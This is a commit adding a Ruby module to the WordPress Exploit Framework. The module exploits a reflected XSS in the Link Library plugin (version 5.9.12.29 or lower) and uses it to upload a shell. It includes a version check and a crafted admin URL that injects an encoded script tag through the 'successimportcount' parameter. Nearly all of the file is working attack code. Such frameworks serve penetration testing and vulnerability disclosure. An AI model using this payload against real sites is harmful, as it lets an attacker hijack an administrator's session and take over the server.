Add Link Library reflected XSS module

Author: rastating

modules/exploits/link_library_reflected_xss_shell_upload.rb

@@ -0,0 +1,31 @@
+class Wpxf::Exploit::LinkLibraryReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Link Library <= 5.9.12.29 Reflected XSS Shell Upload',
+      author: [
+        'Burak Kelebek',                  # Disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8604'],
+        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_link_library_wordpress_plugin.html']
+      ],
+      date: 'Aug 15 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_changelog('link-library', 'readme.txt', '5.9.12.30')
+  end
+
+  def url_with_xss
+    normalize_uri(
+      wordpress_url_admin,
+      "admin.php?page=link-library-settingssets&messages=9&successimportcount=1%22%2F%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E&currenttab=importexport"
+    )
+  end
+end